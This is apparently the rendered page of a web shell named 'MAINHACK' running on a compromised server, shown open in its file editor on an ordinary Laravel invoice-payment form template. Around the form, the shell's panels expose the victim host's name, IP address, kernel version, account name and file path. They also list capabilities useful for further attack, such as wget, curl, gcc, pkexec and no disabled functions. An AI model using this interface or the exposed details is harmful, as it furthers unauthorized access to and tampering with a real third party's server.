[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: a7337742caaa3876dd974fe594676788.php
<form method="post" class="ajax-screen-submit" autocomplete="off" action="<?php echo e(route('invoices.add_payment', $invoice->id)); ?>" enctype="multipart/form-data"> <?php echo e(csrf_field()); ?> <div class="row px-2"> <div class="col-md-12"> <div class="form-group"> <label class="control-label"><?php echo e(_lang('Date')); ?></label> <input type="text" class="form-control datetimepicker" name="trans_date" value="<?php echo e(old('trans_date', now())); ?>" required> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="control-label"><?php echo e(_lang('Credit Account')); ?></label> <select class="form-control auto-select select2-ajax" data-selected="<?php echo e(old('account_id')); ?>" name="account_id" id="account_id" data-table="accounts" data-value="id" data-display="account_name" data-divider=" - " data-display2="currency" data-where="3" data-title="<?php echo e(_lang('Add New Account')); ?>" data-href="<?php echo e(route('accounts.create')); ?>" required> <option value=""><?php echo e(_lang('Select One')); ?></option> </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="control-label"><?php echo e(_lang('Payment Method')); ?></label> <select class="form-control auto-select select2-ajax" data-selected="<?php echo e(old('method')); ?>" name="method" data-table="transaction_methods" data-value="name" data-display="name" data-where="8" data-title="<?php echo e(_lang('New Method')); ?>" data-href="<?php echo e(route('transaction_methods.create')); ?>" required> <option value=""><?php echo e(_lang('Select One')); ?></option> </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="control-label"><?php echo e(_lang('Due Amount')); ?></label> <input type="text" class="form-control float-field" id="due_amount" value="<?php echo e(formatAmount($invoice->grand_total - $invoice->paid, currency_symbol($invoice->business->currency), $invoice->business_id)); ?>" readonly> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="control-label"><?php echo e(_lang('Amount')); ?></label> <input type="text" class="form-control float-field" name="amount" value="<?php echo e(old('amount')); ?>" required> </div> </div> <div class="col-md-12"> <div class="form-group"> <label class="control-label"><?php echo e(_lang('Reference')); ?></label> <input type="text" class="form-control" name="reference" value="<?php echo e(old('reference')); ?>"> </div> </div> <div class="col-md-12"> <div class="form-group"> <label class="control-label"><?php echo e(_lang('Description')); ?></label> <textarea class="form-control" name="description"><?php echo e(old('description')); ?></textarea> </div> </div> <div class="col-md-12"> <div class="form-group"> <label class="control-label"><?php echo e(_lang('Attachment')); ?></label></br> <input type="file" class="dropify" name="attachment"> </div> </div> <div class="col-md-12 mt-2"> <div class="form-group"> <button type="submit" class="btn btn-primary"><i class="ti-check-box mr-2"></i><?php echo e(_lang('Submit')); ?></button> </div> </div> </div> </form> <script> $(document).on('change','#account_id', function(){ var account_id = $(this).val(); if(account_id != ''){ $.ajax({ url: _url + `/user/accounts/${account_id}/<?php echo e($invoice->grand_total - $invoice->paid); ?>/convert_due_amount`, success: function(data){ var json = JSON.parse(JSON.stringify(data)); $("#due_amount").val(json['formatAmount']); } }); } }); </script> <?php /**PATH /home/eliosofonline/acc.eliosof.com/resources/views/backend/user/invoice/modal/add-payment.blade.php ENDPATH**/ ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.83 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002